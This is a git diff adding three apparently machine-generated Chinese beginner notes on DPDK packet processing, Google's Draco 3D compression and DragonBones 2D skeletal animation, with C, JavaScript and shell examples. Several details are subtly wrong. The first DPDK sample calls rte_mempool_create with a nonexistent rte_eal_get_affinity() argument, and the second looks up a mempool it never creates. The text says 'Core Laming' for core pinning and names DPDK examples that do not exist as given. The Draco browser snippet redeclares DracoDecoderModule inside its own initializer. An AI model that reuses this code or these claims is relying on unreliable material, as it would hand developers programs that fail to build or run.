+DPDK 的核心思想就一句话：**绕过内核，直接操作硬件，批量处理，能快多快**。它用空间换速度（预分配内存、轮询代替中断），用批量换效率（一次收/发多个包），用亲和性换缓存命中率（每个 CPU 核处理固定端口）。
+
+理解了这三点，你就理解了 DPDK 的设计哲学。
diff --git a/src/content/docs/projects/dpdk.md b/src/content/docs/projects/dpdk.md
new file mode 100644
index 000000000..3f9803dbf
--- /dev/null
+++ b/src/content/docs/projects/dpdk.md
@@ -0,0 +1,291 @@
+---
+title: DPDK 零基础学习笔记
+来源: https://www.dpdk.org/
+日期: 2026-06-13
+分类: 网络协议
+子分类: 数据包处理
+provenance: pipeline-v3
+---
+
+# DPDK 零基础学习笔记
+
+## 一、什么是 DPDK？从邮局说起
+
+想象你是一家大型邮局的局长。邮局每天要处理成千上万封信件。
+
+普通的做法是：每个邮递员（CPU 核心）收到一封信，先去前台登记（操作系统内核），前台再安排分类、盖章、配送。前台虽然专业，但它要同时服务所有人，每个邮递员都得排队等它。
+
+DPDK（Data Plane Development Kit，数据平面开发套件）的做法完全不同：
+
+> **DPDK 给每个邮递员一条直通大门的通道，让他们直接取信、直接分类、直接配送，完全跳过前台登记这一步。**
+
+跳过前台（操作系统内核网络栈）意味着：
+- 延迟从毫秒级降到微秒级甚至纳秒级
+- 每秒钟能处理的信件从几万封飙升到上千万封
+- CPU 算力全部用在"处理信件"上，不浪费在"排队登记"上
+
+DPDK 是 Intel 在 2010 年发起的开源项目，现在由全球数百个贡献者共同维护，最新稳定版本已经到 26.07。它是目前工业界最高性能数据包处理的事实标准，被用于：
+- 运营商级防火墙和负载均衡器
+- 5G 核心网（vEPC、vRAN）
+- 虚拟网络功能（VNF）和 NFV
+- SDN 数据面
+
+官方网址：https://www.dpdk.org/
+
+## 二、核心概念：四大支柱
+
+理解 DPDK，要掌握四个核心概念。它们之间是环环相扣的。
+
+### 1. EAL（Environment Abstraction Layer，环境抽象层）
+
+EAL 是 DPDK 的门面和起点。任何 DPDK 程序启动时，第一件事就是初始化 EAL。
+
+EAL 帮你做三件事：
+- **大页内存（Hugepages）管理**：把物理内存按 2MB 或 1GB 的大块分配，减少 TLB 缺页中断。类比：邮局不再每次只搬一封信，而是每次用大纸箱搬整批信件。
+- **CPU 核心绑核（Core Laming）**：把指定的 CPU 核心分配给你的程序独占使用，不让操作系统把其他任务调度过来。类比：给每个邮递员分配专属柜台，别人不能占用。
+- **硬件驱动绑定**：把网卡从内核驱动（如 ixgbe）切换到用户态驱动（如 vfio-pci），让用户态程序直接操控网卡。类比：邮递员不再经过前台，直接从仓库门口拿货。
+
+### 2. mbuf（Memory Buffer，内存缓冲）
+
+mbuf 是 DPDK 中数据包的内部分身。你从网卡收到的每一帧网络数据，都会被包装成一个 mbuf 对象。
+
+mbuf 的设计特点：
+- 它是一个**链表结构**，可以挂载多个片段（支持 jumbo frame 超大帧）
+- 头部预留了足够的空间，方便协议栈逐层剥壳（L2 -> L3 -> L4）
+- 每个 mbuf 有引用计数，支持零拷贝共享
+
+### 3. 轮询式数据路径（Poll Mode Driver, PMD）
+
+传统网络驱动是**事件驱动**的：网卡收到数据包，产生中断，操作系统唤醒内核处理。
+
+DPDK 采用**轮询式**：你的程序主动去查网卡"有没有新包？"，有就拿走，没有就继续干别的事。
+
+类比：
+- 事件驱动 = 门铃响了才开门拿快递，没响就等着，来回切换状态很累
+- 轮询模式 = 每隔几秒去门口看一眼，顺手就拿了，状态切换极少
+
+没有中断就没有上下文切换，这就是 DPDK 高性能的核心原因之一。
+
+### 4. 流水线处理（Pipeline）
+
+DPDK 程序通常以流水线方式处理数据包：收包 -> 解析 -> 匹配 -> 转发/丢弃 -> 发包。
+
+每个数据包流经处理管道的每一个阶段，没有随机内存访问，没有分支预测失败（通过 lpm 查找表等优化），CPU 缓存命中率极高。
+
+## 三、第一个代码示例：最小收发程序
+
+下面这个极简程序演示了 DPDK 程序从初始化到收发包的最少代码。
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <rte_eal.h>
+#include <rte_ethdev.h>
+#include <rte_mbuf.h>
+#include <rte_ip.h>
+
+#define NB_RX_DESC   1024
+#define NB_TX_DESC   1024
+#define RX_MBUF_POOL_SIZE  8192
+#define BURST_SIZE   32
+
+// 创建 mbuf 内存池（存放数据包的容器）
+struct rte_mempool *mbuf_pool;
+
+int main(int argc, char *argv[])
+{
+    // 1. 初始化 EAL（解析命令行参数、大页内存、绑核等）
+    int ret = rte_eal_init(argc, argv);
+    if (ret < 0) {
+        fprintf(stderr, "EAL init failed\n");
+        return -1;
+    }
+
+    // 2. 创建 mbuf 内存池
+    mbuf_pool = rte_mempool_create(
+        "mbuf_pool",           // 池名称
+        RX_MBUF_POOL_SIZE,     // 缓冲区数量
+        RTE_MBUF_DEFAULT_BUF_SIZE,  // 每个 mbuf 大小
+        0,                     // 对象私有数据大小
+        sizeof(struct rte_pktmbuf_pool_private),
+        rte_pktmbuf_pool_init, // 池初始化回调
+        rte_pktmbuf_init,      // 对象初始化回调
+        NULL,                  // 私有数据
+        rte_eal_get_affinity(),// CPU 亲和性
+        0                      // socket ID
+    );
+    if (!mbuf_pool) {
+        fprintf(stderr, "mbuf pool create failed\n");
+        return -1;
+    }
+
+    // 3. 初始化第一个网络端口
+    struct rte_eth_dev_info dev_info;
+    rte_eth_dev_info_get(0, &dev_info);
+
+    struct rte_eth_conf port_conf = {0};
+    port_conf.rxmode.max_rx_pkt_len = RTE_ETHER_MAX_LEN;
+    rte_eth_dev_configure(0, 1, 1, &port_conf);
+
+    struct rte_eth_txconf txconf = dev_info.default_txconf;
+    rte_eth_tx_queue_setup(0, 0, NB_TX_DESC,
+                           rte_eth_dev_socket_id(0), &txconf);
+
+    struct rte_eth_rxconf rxconf = dev_info.default_rxconf;
+    rte_eth_rx_queue_setup(0, 0, NB_RX_DESC,
+                           rte_eth_dev_socket_id(0), &rxconf, mbuf_pool);
+
+    rte_eth_dev_start(0);
+    printf("Port 0 started, ready to receive packets\n");
+
+    // 4. 主循环：收包 -> 直接转发（不修改）
+    while (1) {
+        struct rte_mbuf *pkts[BURST_SIZE];
+
+        // 轮询收包：从端口 0 最多取 BURST_SIZE 个包
+        int nb_rx = rte_eth_rx_burst(0, 0, pkts, BURST_SIZE);
+        if (nb_rx == 0)
+            continue;
+
+        // 批量发回：原路转发，不检查 IP 地址
+        rte_eth_tx_burst(0, 0, pkts, nb_rx);
+    }
+
+    return 0;
+}
+```
+
+这个程序做的事情很简单：收到包，马上原封不动地发回去。但背后包含了 DPDK 编程的核心模式：
+
+| 步骤 | API | 说明 |
+|------|-----|------|
+| 初始化 | `rte_eal_init()` | 启动 DPDK 运行时环境 |
+| 分配 | `rte_mempool_create()` | 创建 mbuf 内存池 |
+| 配置 | `rte_eth_dev_configure()` | 配置端口收发队列 |
+| 收包 | `rte_eth_rx_burst()` | 从网卡批量取包（轮询模式） |
+| 发包 | `rte_eth_tx_burst()` | 批量发包到网卡 |
+
+运行方式（需要 root 权限或配置大页）：
+
+```bash
+# 编译
+make
+# 运行：指定 1 个核心，绑定网卡 PCIe 地址
+sudo ./app -l 0 -n 4 -- -i
+```
+
+## 四、第二个代码示例：带 IP 解析的简单路由器
+
+下面这个程序演示了如何解析 IP 地址并做简单的路由转发：
+
+```c
+#include <stdio.h>
+#include <rte_eal.h>
+#include <rte_ethdev.h>
+#include <rte_mbuf.h>
+#include <rte_ip.h>
+#include <rte_tcp.h>
+#include <rte_udp.h>
+
+#define BURST_SIZE   32
+
+int main(int argc, char *argv[])
+{
+    rte_eal_init(argc, argv);
+
+    struct rte_mempool *mbuf_pool = rte_mempool_lookup("mbuf_pool");
+    if (!mbuf_pool) {
+        fprintf(stderr, "Failed to find mbuf pool\n");
+        return -1;
+    }
+
+    // 配置端口 0 收、端口 1 发（模拟两个网段之间的路由）
+    rte_eth_dev_configure(0, 1, 1, NULL);
+    rte_eth_dev_configure(1, 1, 1, NULL);
+
+    rte_eth_tx_queue_setup(0, 0, 1024, rte_eth_dev_socket_id(0), NULL);
+    rte_eth_rx_queue_setup(0, 0, 1024, rte_eth_dev_socket_id(0), NULL, mbuf_pool);
+
+    rte_eth_tx_queue_setup(1, 0, 1024, rte_eth_dev_socket_id(1), NULL);
+    rte_eth_rx_queue_setup(1, 0, 1024, rte_eth_dev_socket_id(1), NULL, mbuf_pool);
+
+    rte_eth_dev_start(0);
+    rte_eth_dev_start(1);
+
+    printf("Simple router running on ports 0 <-> 1\n");
+
+    // 简化路由：端口 0 收到就发到端口 1，反之亦然
+    while (1) {
+        struct rte_mbuf *rx_pkts[BURST_SIZE];
+
+        // 从端口 0 收包
+        int n = rte_eth_rx_burst(0, 0, rx_pkts, BURST_SIZE);
+        if (n > 0) {
+            for (int i = 0; i < n; i++) {
+                struct rte_ipv4_hdr *ip_hdr = rte_pktmbuf_mtod_offset(
+                    rx_pkts[i], struct rte_ipv4_hdr, sizeof(struct ether_hdr));
+
+                if (ip_hdr) {
+                    // 打印源和目的 IP（网络字节序）
+                    uint8_t *src = (uint8_t *)&ip_hdr->src_addr;
+                    uint8_t *dst = (uint8_t *)&ip_hdr->dst_addr;
+                    printf("  %d.%d.%d.%d -> %d.%d.%d.%d\n",
+                           src[0], src[1], src[2], src[3],
+                           dst[0], dst[1], dst[2], dst[3]);
+                }
+            }
+            // 直接转发到端口 1
+            rte_eth_tx_burst(1, 0, rx_pkts, n);
+        }
+
+        // 从端口 1 收包
+        n = rte_eth_rx_burst(1, 0, rx_pkts, BURST_SIZE);
+        if (n > 0) {
+            rte_eth_tx_burst(0, 0, rx_pkts, n);
+        }
+    }
+
+    return 0;
+}
+```
+
+这段代码展示了几个 DPDK 数据面编程的常见模式：
+
+- `rte_pktmbuf_mtod_offset()`：把 mbuf 数据缓冲区转成指针，并偏移一定字节数到达目标协议头。类比：从信封里拿出一封信。
+- 网络字节序处理：IP 地址在内存中是大端存储的，代码中逐字节取出再拼接。
+- 零拷贝转发：mbuf 本身不拷贝数据，只是修改指针偏移，整个转发过程只有内存访问，没有数据移动。
+
+## 五、DPDK vs 传统内核网络栈对比
+
+| 维度 | 传统内核网络栈 | DPDK |
+|------|--------------|------|
+| 数据包路径 | 网卡 -> 内核 -> 用户程序 | 网卡 -> 用户程序 |
+| 中断 | 每个包或批量触发中断 | 无中断，轮询 |
+| 上下文切换 | 用户态<->内核态多次切换 | 无切换，全用户态 |
+| 内存拷贝 | 多次 DMA + 内核拷贝 | 一次 DMA，零拷贝转发 |
+| 吞吐量 | 百万包/秒（Mpps）级 | 千万包/秒（10+ Mpps）级 |
+| 延迟 | 10-100 微秒 | 0.5-2 微秒 |
+| CPU 占用 | 高（大量中断处理） | 低（核心专用于业务） |
+
+## 六、学习 DPDK 的建议路径
+
+1. 先跑通 `testpmd` 示例程序（DPDK 自带的交互式测试工具），不用写代码就能看到收发包
+2. 读 `examples/hello_world`，理解 EAL 初始化和 mbuf 池
+3. 读 `examples/pktgen`，学习发包
+4. 读 `examples/l2-forward` 和 `examples/ip-forward`，学习收包和转发
+5. 深入阅读 Programmer's Guide 的 architecture 章节，理解 PMD 驱动、mempool、flow 框架
+
+## 七、关键术语表
+
+| 术语 | 含义 |
+|------|------|
+| EAL | Environment Abstraction Layer，DPDK 的程序启动环境和资源管理层 |
+| mbuf | 数据包在用户态的内存表示，链表结构 |
+| PMD | Poll Mode Driver，轮询驱动，DPDK 的核心收发包方式 |
+| Hugepage | 大页内存，2MB 或 1GB 一块，减少 TLB 缺失 |
+| NFV | Network Functions Virtualization，网络功能虚拟化 |
+| vNIC | 虚拟网卡，虚拟化环境中的网络接口 |
+| bond | 多网卡聚合，DPDK 支持 4 种链路聚合模式 |
+| vfio-pci | 用于用户态直通网卡的 IOMMU 驱动 |
diff --git a/src/content/docs/projects/draco.md b/src/content/docs/projects/draco.md
new file mode 100644
index 000000000..3ec179eac
--- /dev/null
+++ b/src/content/docs/projects/draco.md
@@ -0,0 +1,267 @@
+---
+title: Draco — Google 3D 网格与点云压缩
+description: 专为 3D 几何设计的压缩库，用 EdgeBreaker 拓扑编码与属性预测把 mesh/点云体积压到 gzip 无法企及的比例，WebGL 与 glTF 管线标配
+来源: 'https://github.com/google/draco'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Draco** 是 Google 开源的 **3D 几何压缩库**（C++ 实现，Apache 2.0），专门压缩 **三角网格（mesh）** 和 **点云（point cloud）** 的顶点位置、法线、UV、颜色以及**面与面之间的连接关系（connectivity）**。压缩产物通常是 `.drc` 二进制；浏览器侧通过 **WASM + JavaScript** 解码，也可嵌入 glTF 的 `KHR_draco_mesh_compression` 扩展。
+
+日常类比：一份 3D 模型像一本**立体拼装说明书**——不仅有每块零件的坐标（顶点属性），还有「A 面接 B 面、B 面接 C 面」的**拓扑关系**。普通 zip/gzip 只会把说明书页码打乱后整本压扁，**看不懂 3D 结构**；Draco 则像一位懂模型的编辑：先用 **EdgeBreaker** 把三角面遍历顺序编码成几个符号（C/S/L/R/E），再对坐标做**邻域预测 + 量化 + 熵编码**，只传「和邻居差多少」——体积往往比 gzip 小一个数量级，且解码后可直接渲染。
+
+最小命令行压缩（需本地编译出 `draco_encoder`）：
+
+```bash
+./draco_encoder -i bunny.ply -o bunny.drc -cl 7 -qp 11
+```
+
+`-cl` 是压缩级别（0–10，默认 7，越高体积越小、解码越慢）；`-qp` 是位置量化比特数（默认 11，越大越精细、文件越大）。
+
+## 为什么重要
+
+零基础做 Web 3D、AR/VR 或资产管线，迟早会碰到 Draco：
+
+- **带宽是瓶颈**：手机加载未压缩 OBJ/glTF 动辄数十 MB；Draco 常把几何压到原来的 **5%–20%**，首屏与弱网体验差距巨大
+- **glTF 生态事实标准**：three.js、Babylon.js、PlayCanvas 等通过 Draco 扩展加载 `.glb`；Google 在 [gstatic](https://www.gstatic.com/draco/versioned/decoders/) 托管版本化 WASM 解码器，多站共享缓存
+- **与通用压缩分工明确**：gzip 对重复浮点坐标几乎无效；Draco 针对 **mesh 拓扑 + 属性相关性** 设计，二者常**叠加**（HTTP 传 Draco 二进制，外层仍可用 Brotli）
+- **点云同样适用**：激光扫描、NeRF 预处理、SLAM 导出——`-point_cloud` 模式可只压顶点、忽略三角面
+- **和 [[assimp]] 互补**：Assimp **读** 40+ 格式进统一结构；Draco **压/解** 几何字节流——管线常见组合：Assimp 导入 → 引擎内网格 → Draco 编码 → CDN
+
+## 核心要点
+
+Draco 的工作可以按「比特流里有什么」来理解（详见 [Bitstream Spec](https://google.github.io/draco/spec/)）：
+
+### 1. 四段式比特流
+
+| 段 | 内容 |
+| --- | --- |
+| Header | 魔数、版本、几何类型（mesh / point cloud） |
+| Metadata（可选） | 自定义键值、属性名等 |
+| Connectivity | 三角面如何连接——**最占巧思的部分** |
+| Attributes | 位置、法线、UV、颜色等，经预测与量化后再熵编码 |
+
+解码顺序固定：`Header → Metadata? → Connectivity → Attributes`。
+
+### 2. 两种网格拓扑编码
+
+| 方法 | 枚举名 | 适用 |
+| --- | --- | --- |
+| Sequential | `MESH_SEQUENTIAL_ENCODING` | 简单顺序写三角索引，实现直、压缩率一般 |
+| EdgeBreaker | `MESH_EDGEBREAKER_ENCODING` | 沿网格边遍历，用 C/S/L/R/E 符号描述拓扑，**默认首选** |
+
+EdgeBreaker 还有 **Valence** 等变体：利用顶点「连接几条边」的信息预测下一个符号，进一步降熵。类比：走迷宫时不存整张地图，只记「下一个路口左转还是右转」。
+
+### 3. 属性：预测 → 变换 → 量化 → RANS
+
+顶点坐标、法线等不会 raw float 直接塞进去：
+
+1. **预测**：例如 Parallelogram 预测——用相邻三角形构成平行四边形，猜当前顶点属性
+2. **残差变换**：只编码「预测值与实际值的差」
+3. **量化**：`-qp`、`-qn`、`-qt` 等把 float 压到固定位数（位置默认 11 bit，法线 8 bit 等）
+4. **熵编码**：用 **rANS**（Range Asymmetric Numeral Systems）打包符号
+
+量化是**有损**的：比特越少，模型可能轻微抖动或法线略糊——要在体积与视觉之间 trade-off。
+
+### 4. 点云编码
+
+| 方法 | 说明 |
+| --- | --- |
+| `POINT_CLOUD_SEQUENTIAL_ENCODING` | 顺序写点属性 |
+| `POINT_CLOUD_KD_TREE_ENCODING` | KD 树划分空间，大点云更高效 |
+
+命令：`draco_encoder -point_cloud -i scan.ply -o scan.drc`
+
+### 5. glTF 集成
+
+`draco_transcoder` 可直接给 `.glb` 内 mesh 打 Draco 扩展：
+
+```bash
+./draco_transcoder -i scene.glb -o scene_draco.glb -qp 12
+```
+
+运行时只需 **解码器**（JS/WASM 或 C++），不必在客户端跑编码器。
+
+### 6. Web 解码器加载方式
+
+官方推荐**固定版本 URL**，避免 gstatic 边缘缓存导致偶发加载失败：
+
+```html
+<script src="https://www.gstatic.com/draco/versioned/decoders/1.5.7/draco_decoder.js"></script>
+```
+
+NPM 包 `draco3d` 适合 Node 侧编解码；three.js 的 `DRACOLoader` 是对上述解码器的封装。
+
+## 代码示例
+
+### 示例 1：命令行编解码与参数扫参
+
+```bash
+# 编码：Stanford Bunny，压缩级别 10，位置 14 bit
+./draco_encoder -i testdata/bun_zipper.ply -o bunny_cl10_qp14.drc -cl 10 -qp 14
+
+# 对比文件大小
+ls -lh testdata/bun_zipper.ply bunny_cl10_qp14.drc
+
+# 解码回 OBJ 检查
+./draco_decoder -i bunny_cl10_qp14.drc -o bunny_out.obj
+```
+
+经验法则（来自官方 README 与 [Codelab](https://codelabs.developers.google.com/codelabs/draco-3d)）：
+
+- `-qp 11` 对多数项目**肉眼难辨**差异
+- `-cl 10` 体积最小，但 WASM 解码更慢；交互式 Web 可试 `-cl 6`–`7`
+- 对法线敏感的角色模型，可单独调 `-qn`（法线量化位数），避免 shading 出现条带
+
+### 示例 2：浏览器中 WASM 解码（与 three.js 同思路）
+
+Draco 1.4+ 的 Emscripten 模块返回 **Promise**，需先异步初始化再解码：
+
+```javascript
+async function loadDracoMesh(url) {
+  const DracoDecoderModule = await DracoDecoderModule(); // 或 createDecoderModule({})
+  const response = await fetch(url);
+  const byteArray = new Uint8Array(await response.arrayBuffer());
+
+  const decoder = new DracoDecoderModule.Decoder();
+  const buffer = new DracoDecoderModule.DecoderBuffer();
+  buffer.Init(byteArray, byteArray.length);
+
+  const geometryType = decoder.GetEncodedGeometryType(buffer);
+  if (geometryType !== DracoDecoderModule.TRIANGULAR_MESH) {
+    throw new Error('Expected triangular mesh');
+  }
+
+  const mesh = new DracoDecoderModule.Mesh();
+  const status = decoder.DecodeBufferToMesh(buffer, mesh);
+  if (!status.ok() || mesh.ptr === 0) {
+    throw new Error('Draco decode failed: ' + status.error_msg());
+  }
+
+  const numPoints = mesh.num_points();
+  const numFaces = mesh.num_faces();
+  console.log(`decoded ${numPoints} points, ${numFaces} faces`);
+
+  // 读取 POSITION 属性（需按 Draco API 拷贝到 Float32Array 再交给 three.js BufferGeometry）
+  DracoDecoderModule.destroy(mesh);
+  DracoDecoderModule.destroy(decoder);
+  DracoDecoderModule.destroy(buffer);
+}
+
+loadDracoMesh('/models/bunny.drc');
+```
+
+**内存注意**：WASM 侧创建的对象必须 `destroy()`，否则长时间浏览会泄漏。预分配静态内存可换约 **2×** 解码速度，但需事先知道最大网格规模。
+
+### 示例 3：C++ 侧最小解码
+
+```cpp
+#include "draco/compression/decode.h"
+#include "draco/core/decoder_buffer.h"
+
+std::vector<char> ReadFile(const char* path);
+
+void DecodeDrc(const std::vector<char>& data) {
+  draco::DecoderBuffer buffer;
+  buffer.Init(data.data(), data.size());
+
+  const draco::EncodedGeometryType type =
+      draco::GetEncodedGeometryType(&buffer);
+
+  if (type == draco::TRIANGULAR_MESH) {
+    auto mesh = draco::DecodeMeshFromBuffer(&buffer);
+    if (!mesh) return;
+    // mesh->num_points(), mesh->num_faces(), 按属性 ID 读顶点
+  } else if (type == draco::POINT_CLOUD) {
+    auto pc = draco::DecodePointCloudFromBuffer(&buffer);
+  }
+}
+```
+
+链接 `draco_dec` 库即可；CMake 项目可用 `find_package(draco)`（1.5+ 起配置更完善）。
+
+### 示例 4：Node.js 编解码（npm `draco3d`）
+
+服务端批量压模型、CI 里给 glTF 打 Draco，不必自己编译 C++，可直接用官方 NPM 包：
+
+```bash
+npm install draco3d
+cp node_modules/draco3d/draco_nodejs_example.js .
+cp node_modules/draco3d/bunny.drc .
+node draco_nodejs_example.js
+```
+
+示例脚本会：读入 `bunny.drc` → 解码为 mesh → 用不同量化参数再编码。若只做 glTF，可改用子包 `draco3dgltf`，API 与 glTF 扩展 `KHR_draco_mesh_compression` 对齐。
+
+glTF 里 Draco 几何通常长这样（逻辑结构，非完整文件）：
+
+```json
+{
+  "meshes": [{
+    "primitives": [{
+      "attributes": { "POSITION": 0, "NORMAL": 1 },
+      "extensions": {
+        "KHR_draco_mesh_compression": {
+          "bufferView": 0,
+          "attributes": { "POSITION": 0, "NORMAL": 1 }
+        }
+      }
+    }]
+  }]
+}
+```
+
+运行时从 `bufferView` 指向的二进制块取出 Draco 字节，交给 `DRACOLoader` 或 WASM 解码器即可。
+
+## 与 gzip / 通用压缩的对比
+
+| 维度 | gzip / Brotli | Draco |
+| --- | --- | --- |
+| 是否理解三角拓扑 | 否 | 是（EdgeBreaker 等） |
+| 是否利用顶点邻域相关性 | 弱 | 强（预测编码） |
+| 典型几何压缩比 | 接近 1:1 | 常 5:1–20:1+ |
+| 是否无损 | 无损 | **默认有损**（量化可调） |
+| 典型场景 | 文本、JSON、已压缩纹理 | mesh、点云、glTF 几何 |
+
+二者关系：**先 Draco 压几何，再 HTTP 压缩传文件**——不是二选一。
+
+## 实践案例
+
+### 案例 1：Web 商品 3D 展示
+
+电商 `.glb` 从 8 MB 经 `draco_transcoder` 到 1.2 MB；配合 CDN + `DRACOLoader`，移动端 4G 下 2–3 秒内可交互——比传原始 glTF 少一次「用户划走」。
+
+### 案例 2：AR 滤镜包体
+
+iOS/Android 安装包对资源大小敏感；静态 `.drc` 打进包内，启动时用原生或 WASM 解码一次缓存到 GPU buffer，比存未压缩 OBJ 省闪存。
+
+### 案例 3：点云预览
+
+室内扫描 PLY 500 万点，`draco_encoder -point_cloud -cl 8` 后体积适合 Web 预览；KD 树模式对**稠密**点云更划算。
+
+## 踩过的坑
+
+1. **把 Draco 当 zip 用**：对已经是 Draco 的 `.drc` 再 gzip 收益有限；应对**源 mesh** 编码
+2. **量化过狠**：`-qp 8` 在大场景可能出现顶点 snap；先用 11 再按项目下调
+3. **gstatic 未锁版本**：用 `v1/decoders` 可能在发新版时有短暂 404/旧 WASM 混用——改用 `versioned/decoders/1.5.7/`
+4. **忘记 destroy**：JS API 手动管理 WASM 对象；React 组件 unmount 时必须清理
+5. **法线未重算**：解码后若 shading 异常，检查编码时是否含 NORMAL，或在引擎里 `computeVertexNormals()`
+6. **与 glTF 扩展不匹配**：glTF 用 `draco_decoder_gltf.js` 变体；纯 `.drc` 用标准 decoder
+7. **EdgeBreaker 与非流形 mesh**：极端破面、非流形几何可能编码失败或质量差——导入前用 DCC 或 [[blender]] 清理
+
+## 延伸阅读
+
+- 官方仓库：[google/draco](https://github.com/google/draco)
+- 比特流规范：[Draco Bitstream Specification](https://google.github.io/draco/spec/)
+- 交互教程：[Optimizing 3D data with Draco — Google Codelab](https://codelabs.developers.google.com/codelabs/draco-3d)
+- glTF 扩展：[KHR_draco_mesh_compression](https://github.com/KhronosGroup/glTF/tree/main/extensions/2.0/Khronos/KHR_draco_mesh_compression)
+- 相关笔记：[[assimp]]（多格式导入）、[[playcanvas]] / three.js（运行时加载）
+
+## 小结
+
+Draco 解决的是 **「3D 几何在网络上怎么更小、更快到达 GPU」**——不是替代 [[assimp]] 或 DCC，而是压缩管线最后一环。记住三件事即可上手：**EdgeBreaker 压拓扑、预测+量化压属性、Web 用版本化 WASM 解码**；先用 `draco_encoder` / `draco_transcoder` 在命令行摸清 `-qp` 与 `-cl`，再接到 `DRACOLoader` 或 C++ `DecodeMeshFromBuffer`。
diff --git a/src/content/docs/projects/dragonbones.md b/src/content/docs/projects/dragonbones.md
new file mode 100644
index 000000000..10ed9c939
--- /dev/null
+++ b/src/content/docs/projects/dragonbones.md
@@ -0,0 +1,224 @@
+---
+title: DragonBones — 国产开源骨骼动画
+来源: 'https://github.com/DragonBones/DragonBonesCPP'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**DragonBones**（龙骨）是一套**国产、开源、MIT 协议**的 **2D 骨骼动画**方案：美术在编辑器里给角色「绑骨」，程序在运行时只播放骨骼变换数据，而不是逐帧换整张图。日常类比：传统逐帧动画像翻**连环画**——每一页都是完整人物；骨骼动画像**提线木偶**——头、躯干、四肢是几块贴图，关节转动就能摆出走路、攻击、受伤等动作，贴图数量少得多，动作却更顺滑。
+
+DragonBones 把链路拆成两半：
+
+| 角色 | 做什么 |
+|------|--------|
+| **创作端** | [LoongBones](http://www.loongbones.app/) / DragonBones Pro 等编辑器：时间轴打关键帧、IK、网格变形、换装 |
+| **运行时** | 各语言 Runtime 解析导出的 JSON + 图集，在 PixiJS、Phaser、Cocos、Egret、Cocos2d-x、SFML 等引擎里渲染 |
+
+GitHub 上 Runtime 按语言分仓：[DragonBonesJS](https://github.com/DragonBones/DragonBonesJS)（TypeScript，约 1.4k star）、[DragonBonesCPP](https://github.com/DragonBones/DragonBonesCPP)（C++，约 430 star）、[DragonBonesCSharp](https://github.com/DragonBones/DragonBonesCSharp) 等。公共核心在 `DragonBones/` 目录，引擎适配层只负责「把骨骼画到屏幕上」。C++ 仓 README 明确推荐用 **DragonBones Pro / LoongBones** 制作资源，再接入 Cocos2d-x 或 SFML。
+
+零基础可以记住一句话：**编辑器产出数据，Factory 解析数据，Armature 在屏幕上动。**
+
+## 为什么重要
+
+不了解 DragonBones，下面几件事很难讲清楚：
+
+- 为什么 2D 手游角色能**一张图集、多套动作**，包体却比 GIF 逐帧小——骨骼只存关节矩阵和少量关键帧，不存每帧整图
+- 为什么**换装、换武器**常是一行代码换 Slot 贴图，而不是重做动画——贴图挂在 Slot 上，骨骼树不变
+- 为什么国内 H5、小游戏、Cocos 生态里常看到 `.json` + `_tex.png` 资源对——那是 DragonBones 标准导出格式
+- 它和 **Spine** 同属骨骼动画赛道，但 DragonBones 起源更早扎根国内引擎（白鹭 Egret、Cocos 系列），文档与社区以中文为主，对国产技术栈更友好
+
+和「引擎自带精灵帧动画」相比：帧动画适合特效、UI 图标；**可交互角色**（跑、跳、受击、换装）更适合骨骼。和 Live2D 相比：DragonBones 偏**游戏侧** 2D 骨骼，不是面向直播的精细面部变形。
+
+## 核心概念
+
+### 1. 骨骼（Bone）——关节
+
+Bone 是逻辑上的**关节节点**，负责平移、旋转、缩放。子骨骼跟随父骨骼变换，形成树形层级。类比：木偶的「上臂」转一下，「前臂」和「手」会一起跟着动（除非你在代码里单独改子骨）。
+
+### 2. 插槽（Slot）——挂贴图的位置
+
+Slot 挂在 Bone 上，**显示层**贴图（Display）挂在 Slot 里。一个 Slot 可切换不同贴图（换装），也可挂子 Armature（嵌套动画）。Bone 管「怎么动」，Slot 管「显示哪张皮」。
+
+### 3. 骨架（Armature）——完整角色容器
+
+**Armature** 是运行时核心对象：包含一棵 Bone 树、若干 Slot、一个 **Animation** 播放器。官方文档写得很直白：*Armature is the core of the skeleton animation system.* 你在舞台上看到的「一个会动的角色」，通常就是一个 Armature 实例（在 Pixi 里常叫 `armatureDisplay`）。
+
+### 4. 工厂（Factory）——解析与实例化
+
+**BaseFactory / PixiFactory / CocosFactory** 负责：
+
+1. `parseDragonBonesData` — 读入 `*_ske.json`（骨骼与动画数据）
+2. `parseTextureAtlasData` — 读入 `*_tex.json` + 图集 PNG
+3. `buildArmatureDisplay` — 按 armature 名称创建可显示实例
+
+数据解析后会**缓存在 Factory** 里，同一套资源不必重复 parse。类比：Factory 是「木偶图纸档案室」，build 是从档案里按名字取出一套木偶。
+
+### 5. 动画数据与 AnimationState
+
+- **DragonBonesData**：一份文件可含多个 Armature、多套 Animation
+- **Animation**：播放器，提供 `play(name, playTimes)`、`fadeIn`、`stop` 等
+- **AnimationState**：某次播放的状态（当前时间、是否循环、混合权重）
+
+`playTimes`：`-1` 表示用编辑器里配置的循环次数，`0` 表示无限循环（Cocos Creator 文档与 JS Runtime 行为一致）。
+
+### 6. WorldClock — 统一推进时间
+
+所有实现 `IAnimatable` 的对象（Armature、WorldClock 子节点）可挂到 **WorldClock**，由它统一 `advanceTime(delta)`。多角色同屏时，一个时钟推进比每个 Armature 自己算时间更稳。Pixi 集成里常在 ticker 里调 `dragonBones.PixiFactory.advanceTime(delta)`。
+
+### 7. 导出资源长什么样
+
+典型导出（JSON 管线）：
+
+```
+hero_ske.json    # 骨骼层级、动画时间轴、事件帧
+hero_tex.json    # 图集子图坐标
+hero_tex.png     # 合图
+```
+
+编辑器还可导出 Egret MovieClip 等格式；现代 Web 项目以 **JSON + 单张/多张纹理** 为主。
+
+## 最小可运行示例（PixiJS + TypeScript）
+
+下列模式与 [DragonBonesJS Pixi 分支](https://github.com/DragonBones/DragonBonesJS/tree/master/Pixi) 及社区包 [pixi-dragonbones-runtime](https://github.com/h1ve2/pixi-dragonbones-runtime) 一致：先 parse，再 build，再 play。
+
+```ts
+import * as PIXI from 'pixi.js';
+import { PixiFactory } from 'pixi-dragonbones-runtime';
+
+const app = new PIXI.Application({ width: 800, height: 600 });
+document.body.appendChild(app.view as HTMLCanvasElement);
+
+// 假设资源已由 Loader / AssetPack 加载为 JSON 对象或别名
+const factory = PixiFactory.factory;
+
+factory.parseDragonBonesData('hero_ske.json');
